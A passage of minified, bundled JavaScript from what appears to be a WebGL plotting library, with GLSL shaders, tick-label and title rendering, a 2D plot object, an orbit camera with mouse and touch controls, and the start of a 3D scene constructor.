  vec2 offset = mix(start, end, 0.5 * (coord.y+1.0));
  gl_Position = vec4(screen(offset + 0.5 * width * delta * coord.x), 0, 1);
}
`]),lineFrag:f,textVert:r([`#define GLSLIFY 1
attribute vec3 textCoordinate;

uniform vec2 dataScale, dataShift, dataAxis, screenOffset, textScale;
uniform float angle;

void main() {
  float dataOffset  = textCoordinate.z;
  vec2 glyphOffset  = textCoordinate.xy;
  mat2 glyphMatrix = mat2(cos(angle), sin(angle), -sin(angle), cos(angle));
  vec2 screenCoordinate = dataAxis * (dataScale * dataOffset + dataShift) +
    glyphMatrix * glyphOffset * textScale + screenOffset;
  gl_Position = vec4(screenCoordinate, 0, 1);
}
`]),textFrag:f,gridVert:r([`precision mediump float;
#define GLSLIFY 1

attribute vec3 dataCoord;

uniform vec2 dataAxis, dataShift, dataScale;
uniform float lineWidth;

void main() {
  vec2 pos = dataAxis * (dataScale * dataCoord.x + dataShift);
  pos += 10.0 * dataCoord.y * vec2(dataAxis.y, -dataAxis.x) + dataCoord.z * lineWidth;
  gl_Position = vec4(pos, 0, 1);
}
`]),gridFrag:f,boxVert:r([`precision mediump float;
#define GLSLIFY 1

attribute vec2 coord;

uniform vec4 screenBox;
uniform vec2 lo, hi;

vec2 screen(vec2 v) {
  return 2.0 * (v - screenBox.xy) / (screenBox.zw - screenBox.xy) - 1.0;
}

void main() {
  gl_Position = vec4(screen(mix(lo, hi, coord)), 0, 1);
}
`]),tickVert:r([`precision mediump float;
#define GLSLIFY 1

attribute vec3 dataCoord;

uniform vec2 dataAxis, dataShift, dataScale, screenOffset, tickScale;

void main() {
  vec2 pos = dataAxis * (dataScale * dataCoord.x + dataShift);
  gl_Position = vec4(pos + tickScale*dataCoord.yz + screenOffset, 0, 1);
}
`])}},5613:function(d,g,t){d.exports=c;var r=t(5827),f=t(5158),a=t(6946),l=t(5070),u=t(2709);function s(b,h,i){this.plot=b,this.vbo=h,this.shader=i,this.tickOffset=[[],[]],this.tickX=[[],[]],this.labelOffset=[0,0],this.labelCount=[0,0]}var y=s.prototype;y.drawTicks=function(){var b=[0,0],h=[0,0],i=[0,0];return function(v){var T=this.plot,w=this.shader,E=this.tickX[v],p=this.tickOffset[v],A=T.gl,m=T.viewBox,n=T.dataBox,C=T.screenBox,x=T.pixelRatio,I=T.tickEnable,k=T.tickPad,B=T.tickColor,_=T.tickAngle,F=T.labelEnable,O=T.labelPad,z=T.labelColor,N=T.labelAngle,G=this.labelOffset[v],J=this.labelCount[v],q=l.lt(E,n[v]),ne=l.le(E,n[v+2]);b[0]=b[1]=0,b[v]=1,h[v]=(m[2+v]+m[v])/(C[2+v]-C[v])-1;var fe=2/C[2+(v^1)]-C[v^1];h[v^1]=fe*m[v^1]-1,I[v]&&(h[v^1]-=fe*x*k[v],q<ne&&p[ne]>p[q]&&(w.uniforms.dataAxis=b,w.uniforms.screenOffset=h,w.uniforms.color=B[v],w.uniforms.angle=_[v],A.drawArrays(A.TRIANGLES,p[q],p[ne]-p[q]))),F[v]&&J&&(h[v^1]-=fe*x*O[v],w.uniforms.dataAxis=i,w.uniforms.screenOffset=h,w.uniforms.color=z[v],w.uniforms.angle=N[v],A.drawArrays(A.TRIANGLES,G,J)),h[v^1]=fe*m[2+(v^1)]-1,I[v+2]&&(h[v^1]+=fe*x*k[v+2],q<ne&&p[ne]>p[q]&&(w.uniforms.dataAxis=b,w.uniforms.screenOffset=h,w.uniforms.color=B[v+2],w.uniforms.angle=_[v+2],A.drawArrays(A.TRIANGLES,p[q],p[ne]-p[q]))),F[v+2]&&J&&(h[v^1]+=fe*x*O[v+2],w.uniforms.dataAxis=i,w.uniforms.screenOffset=h,w.uniforms.color=z[v+2],w.uniforms.angle=N[v+2],A.drawArrays(A.TRIANGLES,G,J))}}(),y.drawTitle=function(){var b=[0,0],h=[0,0];return function(){var i=this.plot,v=this.shader,T=i.gl,w=i.screenBox,E=i.titleCenter,p=i.titleAngle,A=i.titleColor,m=i.pixelRatio;if(this.titleCount){for(var n=0;n<2;++n)h[n]=2*(E[n]*m-w[n])/(w[2+n]-w[n])-1;v.bind(),v.uniforms.dataAxis=b,v.uniforms.screenOffset=h,v.uniforms.angle=p,v.uniforms.color=A,T.drawArrays(T.TRIANGLES,this.titleOffset,this.titleCount)}}}(),y.bind=function(){var b=[0,0],h=[0,0],i=[0,0];return function(){var v=this.plot,T=this.shader,w=v._tickBounds,E=v.dataBox,p=v.screenBox,A=v.viewBox;T.bind();for(var m=0;m<2;++m){var n=w[m],C=w[m+2],x=C-n,I=.5*(E[m+2]+E[m]),k=E[m+2]-E[m],B=A[m],_=A[m+2],F=_-B,O=p[m],z=p[m+2],N=z-O;h[m]=2*x/k*F/N,b[m]=2*(n-I)/k*F/N}i[1]=2*v.pixelRatio/(p[3]-p[1]),i[0]=i[1]*(p[3]-p[1])/(p[2]-p[0]),T.uniforms.dataScale=h,T.uniforms.dataShift=b,T.uniforms.textScale=i,this.vbo.bind(),T.attributes.textCoordinate.pointer()}}(),y.update=function(b){var h=[],i=b.ticks,v=b.bounds,T,w,E,p,A;for(A=0;A<2;++A){var m=[Math.floor(h.length/3)],n=[-1/0],C=i[A];for(T=0;T<C.length;++T){var x=C[T],I=x.x,k=x.text,B=x.font||"sans-serif";p=x.fontSize||12;for(var _=1/(v[A+2]-v[A]),F=v[A],O=k.split(`
`),z=0;z<O.length;z++)for(E=a(B,O[z]).data,w=0;w<E.length;w+=2)h.push(E[w]*p,-E[w+1]*p-z*p*1.2,(I-F)*_);m.push(Math.floor(h.length/3)),n.push(I)}this.tickOffset[A]=m,this.tickX[A]=n}for(A=0;A<2;++A){for(this.labelOffset[A]=Math.floor(h.length/3),E=a(b.labelFont[A],b.labels[A],{textAlign:"center"}).data,p=b.labelSize[A],T=0;T<E.length;T+=2)h.push(E[T]*p,-E[T+1]*p,0);this.labelCount[A]=Math.floor(h.length/3)-this.labelOffset[A]}for(this.titleOffset=Math.floor(h.length/3),E=a(b.titleFont,b.title).data,p=b.titleSize,T=0;T<E.length;T+=2)h.push(E[T]*p,-E[T+1]*p,0);this.titleCount=Math.floor(h.length/3)-this.titleOffset,this.vbo.update(h)},y.dispose=function(){this.vbo.dispose(),this.shader.dispose()};function c(b){var h=b.gl,i=r(h),v=f(h,u.textVert,u.textFrag),T=new s(b,i,v);return T}},2117:function(d,g,t){d.exports=h;var r=t(2611),f=t(3016),a=t(5613),l=t(1154),u=t(4554);function s(i,v){this.gl=i,this.pickBuffer=v,this.screenBox=[0,0,i.drawingBufferWidth,i.drawingBufferHeight],this.viewBox=[0,0,0,0],this.dataBox=[-10,-10,10,10],this.gridLineEnable=[!0,!0],this.gridLineWidth=[1,1],this.gridLineColor=[[0,0,0,1],[0,0,0,1]],this.pixelRatio=1,this.tickMarkLength=[0,0,0,0],this.tickMarkWidth=[0,0,0,0],this.tickMarkColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.tickPad=[15,15,15,15],this.tickAngle=[0,0,0,0],this.tickEnable=[!0,!0,!0,!0],this.tickColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.labelPad=[15,15,15,15],this.labelAngle=[0,Math.PI/2,0,3*Math.PI/2],this.labelEnable=[!0,!0,!0,!0],this.labelColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.titleCenter=[0,0],this.titleEnable=!0,this.titleAngle=0,this.titleColor=[0,0,0,1],this.borderColor=[0,0,0,0],this.backgroundColor=[0,0,0,0],this.zeroLineEnable=[!0,!0],this.zeroLineWidth=[4,4],this.zeroLineColor=[[0,0,0,1],[0,0,0,1]],this.borderLineEnable=[!0,!0,!0,!0],this.borderLineWidth=[2,2,2,2],this.borderLineColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.grid=null,this.text=null,this.line=null,this.box=null,this.objects=[],this.overlays=[],this._tickBounds=[1/0,1/0,-1/0,-1/0],this.static=!1,this.dirty=!1,this.pickDirty=!1,this.pickDelay=120,this.pickRadius=10,this._pickTimeout=null,this._drawPick=this.drawPick.bind(this),this._depthCounter=0}var y=s.prototype;y.setDirty=function(){this.dirty=this.pickDirty=!0},y.setOverlayDirty=function(){this.dirty=!0},y.nextDepthValue=function(){return this._depthCounter++/65536},y.draw=function(){return function(){var i=this.gl,v=this.screenBox,T=this.viewBox,w=this.dataBox,E=this.pixelRatio,p=this.grid,A=this.line,m=this.text,n=this.objects;if(this._depthCounter=0,this.pickDirty&&(this._pickTimeout&&clearTimeout(this._pickTimeout),this.pickDirty=!1,this._pickTimeout=setTimeout(this._drawPick,this.pickDelay)),!!this.dirty){if(this.dirty=!1,i.bindFramebuffer(i.FRAMEBUFFER,null),i.enable(i.SCISSOR_TEST),i.disable(i.DEPTH_TEST),i.depthFunc(i.LESS),i.depthMask(!1),i.enable(i.BLEND),i.blendEquation(i.FUNC_ADD,i.FUNC_ADD),i.blendFunc(i.ONE,i.ONE_MINUS_SRC_ALPHA),this.borderColor){i.scissor(v[0],v[1],v[2]-v[0],v[3]-v[1]);var C=this.borderColor;i.clearColor(C[0]*C[3],C[1]*C[3],C[2]*C[3],C[3]),i.clear(i.COLOR_BUFFER_BIT|i.DEPTH_BUFFER_BIT)}i.scissor(T[0],T[1],T[2]-T[0],T[3]-T[1]),i.viewport(T[0],T[1],T[2]-T[0],T[3]-T[1]);var x=this.backgroundColor;i.clearColor(x[0]*x[3],x[1]*x[3],x[2]*x[3],x[3]),i.clear(i.COLOR_BUFFER_BIT),p.draw();var I=this.zeroLineEnable,k=this.zeroLineColor,B=this.zeroLineWidth;if(I[0]||I[1]){A.bind();for(var _=0;_<2;++_)if(!(!I[_]||!(w[_]<=0&&w[_+2]>=0))){var F=v[_]-w[_]*(v[_+2]-v[_])/(w[_+2]-w[_]);_===0?A.drawLine(F,v[1],F,v[3],B[_],k[_]):A.drawLine(v[0],F,v[2],F,B[_],k[_])}}for(var _=0;_<n.length;++_)n[_].draw();i.viewport(v[0],v[1],v[2]-v[0],v[3]-v[1]),i.scissor(v[0],v[1],v[2]-v[0],v[3]-v[1]),this.grid.drawTickMarks(),A.bind();var O=this.borderLineEnable,z=this.borderLineWidth,N=this.borderLineColor;O[1]&&A.drawLine(T[0],T[1]-.5*z[1]*E,T[0],T[3]+.5*z[3]*E,z[1],N[1]),O[0]&&A.drawLine(T[0]-.5*z[0]*E,T[1],T[2]+.5*z[2]*E,T[1],z[0],N[0]),O[3]&&A.drawLine(T[2],T[1]-.5*z[1]*E,T[2],T[3]+.5*z[3]*E,z[3],N[3]),O[2]&&A.drawLine(T[0]-.5*z[0]*E,T[3],T[2]+.5*z[2]*E,T[3],z[2],N[2]),m.bind();for(var _=0;_<2;++_)m.drawTicks(_);this.titleEnable&&m.drawTitle();for(var G=this.overlays,_=0;_<G.length;++_)G[_].draw();i.disable(i.SCISSOR_TEST),i.disable(i.BLEND),i.depthMask(!0)}}}(),y.drawPick=function(){return function(){if(!this.static){var i=this.pickBuffer;this.gl,this._pickTimeout=null,i.begin();for(var v=1,T=this.objects,w=0;w<T.length;++w)v=T[w].drawPick(v);i.end()}}}(),y.pick=function(){return function(i,v){if(!this.static){var T=this.pixelRatio,w=this.pickPixelRatio,E=this.viewBox,p=Math.round((i-E[0]/T)*w)|0,A=Math.round((v-E[1]/T)*w)|0,m=this.pickBuffer.query(p,A,this.pickRadius);if(!m)return null;for(var n=m.id+(m.value[0]<<8)+(m.value[1]<<16)+(m.value[2]<<24),C=this.objects,x=0;x<C.length;++x){var I=C[x].pick(p,A,n);if(I)return I}return null}}}();function c(i){for(var v=i.slice(),T=0;T<v.length;++T)v[T]=v[T].slice();return v}function b(i,v){return i.x-v.x}y.setScreenBox=function(i){var v=this.screenBox,T=this.pixelRatio;v[0]=Math.round(i[0]*T)|0,v[1]=Math.round(i[1]*T)|0,v[2]=Math.round(i[2]*T)|0,v[3]=Math.round(i[3]*T)|0,this.setDirty()},y.setDataBox=function(i){var v=this.dataBox,T=v[0]!==i[0]||v[1]!==i[1]||v[2]!==i[2]||v[3]!==i[3];T&&(v[0]=i[0],v[1]=i[1],v[2]=i[2],v[3]=i[3],this.setDirty())},y.setViewBox=function(i){var v=this.pixelRatio,T=this.viewBox;T[0]=Math.round(i[0]*v)|0,T[1]=Math.round(i[1]*v)|0,T[2]=Math.round(i[2]*v)|0,T[3]=Math.round(i[3]*v)|0;var w=this.pickPixelRatio;this.pickBuffer.shape=[Math.round((i[2]-i[0])*w)|0,Math.round((i[3]-i[1])*w)|0],this.setDirty()},y.update=function(i){i=i||{};var v=this.gl;this.pixelRatio=i.pixelRatio||1;var T=this.pixelRatio;this.pickPixelRatio=Math.max(T,1),this.setScreenBox(i.screenBox||[0,0,v.drawingBufferWidth/T,v.drawingBufferHeight/T]),this.screenBox,this.setViewBox(i.viewBox||[.125*(this.screenBox[2]-this.screenBox[0])/T,.125*(this.screenBox[3]-this.screenBox[1])/T,.875*(this.screenBox[2]-this.screenBox[0])/T,.875*(this.screenBox[3]-this.screenBox[1])/T]);var w=this.viewBox,E=(w[2]-w[0])/(w[3]-w[1]);this.setDataBox(i.dataBox||[-10,-10/E,10,10/E]),this.borderColor=i.borderColor!==!1?(i.borderColor||[0,0,0,0]).slice():!1,this.backgroundColor=(i.backgroundColor||[0,0,0,0]).slice(),this.gridLineEnable=(i.gridLineEnable||[!0,!0]).slice(),this.gridLineWidth=(i.gridLineWidth||[1,1]).slice(),this.gridLineColor=c(i.gridLineColor||[[.5,.5,.5,1],[.5,.5,.5,1]]),this.zeroLineEnable=(i.zeroLineEnable||[!0,!0]).slice(),this.zeroLineWidth=(i.zeroLineWidth||[4,4]).slice(),this.zeroLineColor=c(i.zeroLineColor||[[0,0,0,1],[0,0,0,1]]),this.tickMarkLength=(i.tickMarkLength||[0,0,0,0]).slice(),this.tickMarkWidth=(i.tickMarkWidth||[0,0,0,0]).slice(),this.tickMarkColor=c(i.tickMarkColor||[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]]),this.titleCenter=(i.titleCenter||[.5*(w[0]+w[2])/T,(w[3]+120)/T]).slice(),this.titleEnable=!("titleEnable"in i)||!!i.titleEnable,this.titleAngle=i.titleAngle||0,this.titleColor=(i.titleColor||[0,0,0,1]).slice(),this.labelPad=(i.labelPad||[15,15,15,15]).slice(),this.labelAngle=(i.labelAngle||[0,Math.PI/2,0,3*Math.PI/2]).slice(),this.labelEnable=(i.labelEnable||[!0,!0,!0,!0]).slice(),this.labelColor=c(i.labelColor||[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]]),this.tickPad=(i.tickPad||[15,15,15,15]).slice(),this.tickAngle=(i.tickAngle||[0,0,0,0]).slice(),this.tickEnable=(i.tickEnable||[!0,!0,!0,!0]).slice(),this.tickColor=c(i.tickColor||[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]]),this.borderLineEnable=(i.borderLineEnable||[!0,!0,!0,!0]).slice(),this.borderLineWidth=(i.borderLineWidth||[2,2,2,2]).slice(),this.borderLineColor=c(i.borderLineColor||[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]]);var p=i.ticks||[[],[]],A=this._tickBounds;A[0]=A[1]=1/0,A[2]=A[3]=-1/0;for(var m=0;m<2;++m){var n=p[m].slice(0);n.length!==0&&(n.sort(b),A[m]=Math.min(A[m],n[0].x),A[m+2]=Math.max(A[m+2],n[n.length-1].x))}this.grid.update({bounds:A,ticks:p}),this.text.update({bounds:A,ticks:p,labels:i.labels||["x","y"],labelSize:i.labelSize||[12,12],labelFont:i.labelFont||["sans-serif","sans-serif"],title:i.title||"",titleSize:i.titleSize||18,titleFont:i.titleFont||"sans-serif"}),this.static=!!i.static,this.setDirty()},y.dispose=function(){this.box.dispose(),this.grid.dispose(),this.text.dispose(),this.line.dispose();for(var i=this.objects.length-1;i>=0;--i)this.objects[i].dispose();this.objects.length=0;for(var i=this.overlays.length-1;i>=0;--i)this.overlays[i].dispose();this.overlays.length=0,this.gl=null},y.addObject=function(i){this.objects.indexOf(i)<0&&(this.objects.push(i),this.setDirty())},y.removeObject=function(i){for(var v=this.objects,T=0;T<v.length;++T)if(v[T]===i){v.splice(T,1),this.setDirty();break}},y.addOverlay=function(i){this.overlays.indexOf(i)<0&&(this.overlays.push(i),this.setOverlayDirty())},y.removeOverlay=function(i){for(var v=this.overlays,T=0;T<v.length;++T)if(v[T]===i){v.splice(T,1),this.setOverlayDirty();break}};function h(i){var v=i.gl,T=r(v,[v.drawingBufferWidth,v.drawingBufferHeight]),w=new s(v,T);return w.grid=f(w),w.text=a(w),w.line=l(w),w.box=u(w),w.update(i),w}},4296:function(d,g,t){d.exports=y;var r=t(8161),f=t(1152),a=t(6145),l=t(6475),u=t(2565),s=t(5233);function y(c,b){c=c||document.body,b=b||{};var h=[.01,1/0];"distanceLimits"in b&&(h[0]=b.distanceLimits[0],h[1]=b.distanceLimits[1]),"zoomMin"in b&&(h[0]=b.zoomMin),"zoomMax"in b&&(h[1]=b.zoomMax);var i=f({center:b.center||[0,0,0],up:b.up||[0,1,0],eye:b.eye||[0,0,10],mode:b.mode||"orbit",distanceLimits:h}),v=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],T=0,w=c.clientWidth,E=c.clientHeight,p={keyBindingMode:"rotate",enableWheel:!0,view:i,element:c,delay:b.delay||16,rotateSpeed:b.rotateSpeed||1,zoomSpeed:b.zoomSpeed||1,translateSpeed:b.translateSpeed||1,flipX:!!b.flipX,flipY:!!b.flipY,modes:i.modes,_ortho:b._ortho||b.projection&&b.projection.type==="orthographic"||!1,tick:function(){var A=r(),m=this.delay,n=A-2*m;i.idle(A-m),i.recalcMatrix(n),i.flush(A-(100+m*2));for(var C=!0,x=i.computedMatrix,I=0;I<16;++I)C=C&&v[I]===x[I],v[I]=x[I];var k=c.clientWidth===w&&c.clientHeight===E;return w=c.clientWidth,E=c.clientHeight,C?!k:(T=Math.exp(i.computedRadius[0]),!0)},lookAt:function(A,m,n){i.lookAt(i.lastT(),A,m,n)},rotate:function(A,m,n){i.rotate(i.lastT(),A,m,n)},pan:function(A,m,n){i.pan(i.lastT(),A,m,n)},translate:function(A,m,n){i.translate(i.lastT(),A,m,n)}};return Object.defineProperties(p,{matrix:{get:function(){return i.computedMatrix},set:function(A){return i.setMatrix(i.lastT(),A),i.computedMatrix},enumerable:!0},mode:{get:function(){return i.getMode()},set:function(A){var m=i.computedUp.slice(),n=i.computedEye.slice(),C=i.computedCenter.slice();if(i.setMode(A),A==="turntable"){var x=r();i._active.lookAt(x,n,C,m),i._active.lookAt(x+500,n,C,[0,0,1]),i._active.flush(x)}return i.getMode()},enumerable:!0},center:{get:function(){return i.computedCenter},set:function(A){return i.lookAt(i.lastT(),null,A),i.computedCenter},enumerable:!0},eye:{get:function(){return i.computedEye},set:function(A){return i.lookAt(i.lastT(),A),i.computedEye},enumerable:!0},up:{get:function(){return i.computedUp},set:function(A){return i.lookAt(i.lastT(),null,null,A),i.computedUp},enumerable:!0},distance:{get:function(){return T},set:function(A){return i.setDistance(i.lastT(),A),A},enumerable:!0},distanceLimits:{get:function(){return i.getDistanceLimits(h)},set:function(A){return i.setDistanceLimits(A),A},enumerable:!0}}),c.addEventListener("contextmenu",function(A){return A.preventDefault(),!1}),p._lastX=-1,p._lastY=-1,p._lastMods={shift:!1,control:!1,alt:!1,meta:!1},p.enableMouseListeners=function(){p.mouseListener=a(c,A),c.addEventListener("touchstart",function(m){var n=u(m.changedTouches[0],c);A(0,n[0],n[1],p._lastMods),A(1,n[0],n[1],p._lastMods)},s?{passive:!0}:!1),c.addEventListener("touchmove",function(m){var n=u(m.changedTouches[0],c);A(1,n[0],n[1],p._lastMods),m.preventDefault()},s?{passive:!1}:!1),c.addEventListener("touchend",function(m){A(0,p._lastX,p._lastY,p._lastMods)},s?{passive:!0}:!1);function A(m,n,C,x){var I=p.keyBindingMode;if(I!==!1){var k=I==="rotate",B=I==="pan",_=I==="zoom",F=!!x.control,O=!!x.alt,z=!!x.shift,N=!!(m&1),G=!!(m&2),J=!!(m&4),q=1/c.clientHeight,ne=q*(n-p._lastX),fe=q*(C-p._lastY),X=p.flipX?1:-1,W=p.flipY?1:-1,V=Math.PI*p.rotateSpeed,Y=r();if(p._lastX!==-1&&p._lastY!==-1&&((k&&N&&!F&&!O&&!z||N&&!F&&!O&&z)&&i.rotate(Y,X*V*ne,-W*V*fe,0),(B&&N&&!F&&!O&&!z||G||N&&F&&!O&&!z)&&i.pan(Y,-p.translateSpeed*ne*T,p.translateSpeed*fe*T,0),_&&N&&!F&&!O&&!z||J||N&&!F&&O&&!z)){var Q=-p.zoomSpeed*fe/window.innerHeight*(Y-i.lastT())*100;i.pan(Y,0,0,T*(Math.exp(Q)-1))}return p._lastX=n,p._lastY=C,p._lastMods=x,!0}}p.wheelListener=l(c,function(m,n){if(p.keyBindingMode!==!1&&p.enableWheel){var C=p.flipX?1:-1,x=p.flipY?1:-1,I=r();if(Math.abs(m)>Math.abs(n))i.rotate(I,0,0,-m*C*Math.PI*p.rotateSpeed/window.innerWidth);else if(!p._ortho){var k=-p.zoomSpeed*x*n/window.innerHeight*(I-i.lastT())/20;i.pan(I,0,0,T*(Math.exp(k)-1))}}},!0)},p.enableMouseListeners(),p}},8245:function(d,g,t){var r=t(6832),f=t(5158),a=r([`precision mediump float;
#define GLSLIFY 1
attribute vec2 position;
varying vec2 uv;
void main() {
  uv = position;
  gl_Position = vec4(position, 0, 1);
}`]),l=r([`precision mediump float;
#define GLSLIFY 1

uniform sampler2D accumBuffer;
varying vec2 uv;

void main() {
  vec4 accum = texture2D(accumBuffer, 0.5 * (uv + 1.0));
  gl_FragColor = min(vec4(1,1,1,1), accum);
}`]);d.exports=function(u){return f(u,a,l,null,[{name:"position",type:"vec2"}])}},1059:function(d,g,t){var r=t(4296),f=t(7453),a=t(2771),l=t(6496),u=t(2611),s=t(4234),y=t(8126),c=t(6145),b=t(1120),h=t(5268),i=t(8245),v=t(2321)({tablet:!0,featureDetect:!0});d.exports={createScene:A,createCamera:r};function T(){this.mouse=[-1,-1],this.screen=null,this.distance=1/0,this.index=null,this.dataCoordinate=null,this.dataPosition=null,this.object=null,this.data=null}function w(n,C){var x=null;try{x=n.getContext("webgl",C),x||(x=n.getContext("experimental-webgl",C))}catch{return null}return x}function E(n){var C=Math.round(Math.log(Math.abs(n))/Math.log(10));if(C<0){var x=Math.round(Math.pow(10,-C));return Math.ceil(n*x)/x}else if(C>0){var x=Math.round(Math.pow(10,C));return Math.ceil(n/x)*x}return Math.ceil(n)}function p(n){return typeof n=="boolean"?n:!0}function A(n){n=n||{},n.camera=n.camera||{};var C=n.canvas;if(!C)if(C=document.createElement("canvas"),n.container){var x=n.container;x.appendChild(C)}else document.body.appendChild(C);var I=n.gl;if(I||(n.glOptions&&(v=!!n.glOptions.preserveDrawingBuffer),I=w(C,n.glOptions||{premultipliedAlpha:!0,antialias:!0,preserveDrawingBuffer:v})),!I)throw new Error("webgl not supported");var k=n.bounds||[[-10,-10,-10],[10,10,10]],B=new T,_=s(I,I.drawingBufferWidth,I.drawingBufferHeight,{preferFloat:!v}),F=i(I),O=n.cameraObject&&n.cameraObject._ortho===!0||n.camera.projection&&n.camera.projection.type==="orthographic"||!1,z={eye:n.camera.eye||[2,0,0],center:n.camera.center||[0,0,0],up:n.camera.up||[0,1,0],zoomMin:n.camera.zoomMax||.1,zoomMax:n.camera.zoomMin||100,mode:n.camera.mode||"turntable",_ortho:O},N=n.axes||{},G=f(I,N);G.enable=!N.disable;var J=n.spikes||{},q=l(I,J),ne=[],fe=[],X=[],W=[],V=!0,j=!0,Y=new Array(16),Q=new Array(16),ie={view:null,projection:Y,model:Q,_ortho:!1},j=!0,K=[I.drawingBufferWidth,I.drawingBufferHeight],oe=n.cameraObject||r(C,z),re={gl:I,contextLost:!1,pixelRatio:n.pixelRatio||1,canvas:C,selection:B,camera:oe,axes:G,axesPixels:null,spikes:q,bounds:k,objects:ne,shape:K,aspect:n.aspectRatio||[1,1,1],pickRadius:n.pickRadius||10,zNear:n.zNear||.01,zFar:n.zFar||1e3,fovy:n.fovy||Math.PI/4,clearColor:n.clearColor||[0,0,0,0],autoResize:p(n.autoResize),autoBounds:p(n.autoBounds),autoScale:!!n.autoScale,autoCenter:p(n.autoCenter),clipToBounds:p(n.clipToBounds),snapToData:!!n.snapToData,onselect:n.onselect||null,onrender:n.onrender||null,onclick:n.onclick||null,cameraParams:ie,oncontextloss:null,mouseListener:null,_stopped:!1,getAspectratio:function(){return{x:this.aspect[0],y:this.aspect[1],z:this.aspect[2]}},setAspectratio:function(Fe){this.aspect[0]=Fe.x,this.aspect[1]=Fe.y,this.aspect[2]=Fe.z,j=!0},setBounds:function(Fe,Oe){this.bounds[0][Fe]=Oe.min,this.bounds[1][Fe]=Oe.max},setClearColor:function(Fe){this.clearColor=Fe},clearRGBA:function(){this.gl.clearColor(this.clearColor[0],this.clearColor[1],this.clearColor[2],this.clearColor[3]),this.gl.clear(this.gl.COLOR_BUFFER_BIT|this.gl.DEPTH_BUFFER_BIT)}},le=[I.drawingBufferWidth/re.pixelRatio|0,I.drawingBufferHeight/re.pixelRatio|0];function pe(){if(!re._stopped&&re.autoResize){var Fe=C.parentNode,Oe=1,Ce=1;Fe&&Fe!==document.body?(Oe=Fe.clientWidth,Ce=Fe.clientHeight):(Oe=window.innerWidth,Ce=window.innerHeight);var Be=Math.ceil(Oe*re.pixelRatio)|0,$e=Math.ceil(Ce*re.pixelRatio)|0;if(Be!==C.width||$e!==C.height){C.width=Be,C.height=$e;var Xe=C.style;Xe.position=Xe.position||"absolute",Xe.left="0px",Xe.top="0px",Xe.width=Oe+"px",Xe.height=Ce+"px",V=!0}}}re.autoResize&&pe(),window.addEventListener("resize",pe);function we(){for(var Fe=ne.length,Oe=W.length,Ce=0;Ce<Oe;++Ce)X[Ce]=0;e:for(var Ce=0;Ce<Fe;++Ce){var Be=ne[Ce],$e=Be.pickSlots;if(!$e){fe[Ce]=-1;continue}for(var Xe=0;Xe<Oe;++Xe)if(X[Xe]+$e<255){fe[Ce]=Xe,Be.setPickBase(X[Xe]+1),X[Xe]+=$e;continue e}var Ze=u(I,K);fe[Ce]=Oe,W.push(Ze),X.push($e),Be.setPickBase(1),Oe+=1}for(;Oe>0&&X[Oe-1]===0;)X.pop(),W.pop().dispose()}re.update=function(Fe){re._stopped||(V=!0,j=!0)},re.add=function(Fe){re._stopped||(Fe.axes=G,ne.push(Fe),fe.push(-1),V=!0,j=!0,we())},re.remove=function(Fe){if(!re._stopped){var Oe=ne.indexOf(Fe);Oe<0||(ne.splice(Oe,1),fe.pop(),V=!0,j=!0,we())}},re.dispose=function(){if(!re._stopped&&(re._stopped=!0,window.removeEventListener("resize",pe),C.removeEventListener("webglcontextlost",xe),re.mouseListener.enabled=!1,!re.contextLost)){G.dispose(),q.dispose();for(var Fe=0;Fe<ne.length;++Fe)ne[Fe].dispose();_.dispose();for(var Fe=0;Fe<W.length;++Fe)W[Fe].dispose();F.dispose(),I=null,G=null,q=null,ne=[]}},re._mouseRotating=!1,re._prevButtons=0,re.enableMouseListeners=function(){re.mouseListener=c(C,function(Fe,Oe,Ce){if(!re._stopped){var Be=W.length,$e=ne.length,Xe=B.object;B.distance=1/0,B.mouse[0]=Oe,B.mouse[1]=Ce,B.object=null,B.screen=null,B.dataCoordinate=B.dataPosition=null;var Ze=!1;if(Fe&&re._prevButtons)re._mouseRotating=!0;else{re._mouseRotating&&(j=!0),re._mouseRotating=!1;for(var Ke=0;Ke<Be;++Ke){var st=W[Ke].query(Oe,le[1]-Ce-1,re.pickRadius);if(st){if(st.distance>B.distance)continue;for(var lt=0;lt<$e;++lt){var ut=ne[lt];if(fe[lt]===Ke){var yt=ut.pick(st);yt&&(B.buttons=Fe,B.screen=st.coord,B.distance=st.distance,B.object=ut,B.index=yt.distance,B.dataPosition=yt.position,B.dataCoordinate=yt.dataCoordinate,B.data=yt,Ze=!0)}}}}}Xe&&Xe!==B.object&&(Xe.highlight&&Xe.highlight(null),V=!0),B.object&&(B.object.highlight&&B.object.highlight(B.data),V=!0),Ze=Ze||B.object!==Xe,Ze&&re.onselect&&re.onselect(B),Fe&1&&!(re._prevButtons&1)&&re.onclick&&re.onclick(B),re._prevButtons=Fe}})};function xe(){if(re.contextLost)return!0;I.isContextLost()&&(re.contextLost=!0,re.mouseListener.enabled=!1,re.selection.object=null,re.oncontextloss&&re.oncontextloss())}C.addEventListener("webglcontextlost",xe);function ke(){if(!xe()){I.colorMask(!0,!0,!0,!0),I.depthMask(!0),I.disable(I.BLEND),I.enable(I.DEPTH_TEST),I.depthFunc(I.LEQUAL);for(var Fe=ne.length,Oe=W.length,Ce=0;Ce<Oe;++Ce){var Be=W[Ce];Be.shape=le,Be.begin();for(var $e=0;$e<Fe;++$e)if(fe[$e]===Ce){var Xe=ne[$e];Xe.drawPick&&(Xe.pixelRatio=1,Xe.drawPick(ie))}Be.end()}}}var _e=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],be=[_e[0].slice(),_e[1].slice()];function ge(){if(!xe()){pe();var Fe=re.camera.tick();ie.view=re.camera.matrix,V=V||Fe,j=j||Fe,G.pixelRatio=re.pixelRatio,q.pixelRatio=re.pixelRatio;var Oe=ne.length,Ce=_e[0],Be=_e[1];Ce[0]=Ce[1]=Ce[2]=1/0,Be[0]=Be[1]=Be[2]=-1/0;for(var $e=0;$e<Oe;++$e){var Xe=ne[$e];Xe.pixelRatio=re.pixelRatio,Xe.axes=re.axes,V=V||!!Xe.dirty,j=j||!!Xe.dirty;var Ze=Xe.bounds;if(Ze)for(var 